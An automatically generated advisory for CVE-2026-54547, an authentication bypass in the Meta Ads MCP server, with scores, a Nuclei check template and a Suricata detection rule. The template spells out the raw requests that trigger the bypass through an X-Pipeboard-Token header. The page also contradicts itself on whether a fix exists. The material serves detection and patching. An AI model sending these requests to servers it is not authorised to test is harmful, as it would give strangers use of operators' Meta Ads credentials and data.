CVE-2026-54547: Meta Ads MCP: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token

What it is

Meta Ads MCP is a Model Context Protocol (MCP) server that lets AI assistants run Meta Ads. Prior to version 1.0.115, AuthInjectionMiddleware in meta_ads_mcp/core/http_auth_integration.py rejects HTTP MCP requests only when both auth_token and pipeboard_token are absent, while extract_token_from_headers() does not recognize X-Pipeboard-Token as a primary credential. A network caller using the streamable-http transport can therefore send any X-Pipeboard-Token value, pass the guard without establishing authentication context, and cause get_auth_token() to fall back to the server operator’s META_ACCESS_TOKEN. Subsequent MCP tools execute with the operator’s Meta credentials and can read or modify the operator’s Meta Ads data. Deployments using the default stdio transport or without META_ACCESS_TOKEN are not affected. This issue is fixed in version 1.0.115.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-09-15).

Weakness: CWE-287: Improper Authentication

How it can be exploited

Exploitable over the network with high attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability none. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: no. Technical impact: total.

Public exploit evidence (Exploit Observer)

Exploit Observer found 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 10 references on Exploit Observer

Live scores

EPSS

0.005
low predicted chance of attack

VEDAS

0.988
strong exploit evidence

On CISA KEV

Not listed

Detection rule

Nuclei · Suricata

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Meta Ads MCP - Authentication Bypass via X-Pipeboard-Token Header

Meta Ads MCP before 1.0.115 exposes an HTTP (streamable-http) MCP transport whose AuthInjectionMiddleware rejects a request only when BOTH a primary credential and a Pipeboard token are absent, while extract_token_from_headers() does not treat X-Pipeboard-Token as a primary credential. A network caller that sends only an X-Pipeboard-Token header therefore passes the authentication guard without establishing any auth context, and get_auth_token() falls back to the operator’s META_ACCESS_TOKEN, so subsequent MCP tools run with the operator’s Meta credentials. This template proves the bypass without invoking any Meta tool: it sends one MCP initialize request with no credential header (rejected with 401) and one otherwise identical request carrying only an X-Pipeboard-Token header, and reports only when the header-only request is admitted (200, with a valid MCP initialize result) where the credential-less request was refused.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /mcp, POST /mcp); it decides using dsl matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2026-54547.yaml

id: CVE-2026-54547

info:
  name: "Meta Ads MCP - Authentication Bypass via X-Pipeboard-Token Header"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Meta Ads MCP before 1.0.115 exposes an HTTP (streamable-http) MCP transport whose
    AuthInjectionMiddleware rejects a request only when BOTH a primary credential and a
    Pipeboard token are absent, while extract_token_from_headers() does not treat
    X-Pipeboard-Token as a primary credential. A network caller that sends only an
    X-Pipeboard-Token header therefore passes the authentication guard without establishing
    any auth context, and get_auth_token() falls back to the operator's META_ACCESS_TOKEN, so
    subsequent MCP tools run with the operator's Meta credentials. This template proves the
    bypass without invoking any Meta tool: it sends one MCP initialize request with no
    credential header (rejected with 401) and one otherwise identical request carrying only an
    X-Pipeboard-Token header, and reports only when the header-only request is admitted (200,
    with a valid MCP initialize result) where the credential-less request was refused.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-54547&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=meta-ads-mcp&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 7.4
    cve-id: CVE-2026-54547
    cwe-id: CWE-287
  metadata:
    verified: false
    max-request: 2
  tags: cve,cve2026,meta-ads-mcp,mcp,auth-bypass,unauth

http:
  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream

        {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"vedas-check","version":"1.0"}}}
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream
        X-Pipeboard-Token: {{randstr}}

        {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"vedas-check","version":"1.0"}}}
    req-condition: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 401'
          - 'status_code_2 == 200'
          - 'contains(body_2, "protocolVersion")'
        condition: and

CVE-2026-54547.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-54547 Meta Ads MCP authentication bypass via X-Pipeboard-Token header. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-54547 Meta Ads MCP authentication bypass via X-Pipeboard-Token header"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/mcp"; http.header; content:"X-Pipeboard-Token"; nocase; fast_pattern; http.request_body; content:"jsonrpc"; nocase; classtype:web-application-attack; reference:cve,CVE-2026-54547; reference:url,https://www.exploit.observer/?keyword=CVE-2026-54547&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=meta-ads-mcp&match=exact; sid:1088800; rev:1;)

CVE-2026-54547.rules on GitHub

References

Other references

• https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-2v2f-mvfg-ph56 (x_refsource_CONFIRM)
• https://github.com/pipeboard-co/meta-ads-mcp/pull/137 (x_refsource_MISC)
• https://github.com/pipeboard-co/meta-ads-mcp/commit/95e852793b7ff8604a8132e85d5facd08c91a36e (x_refsource_MISC)
• https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.115 (x_refsource_MISC)

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.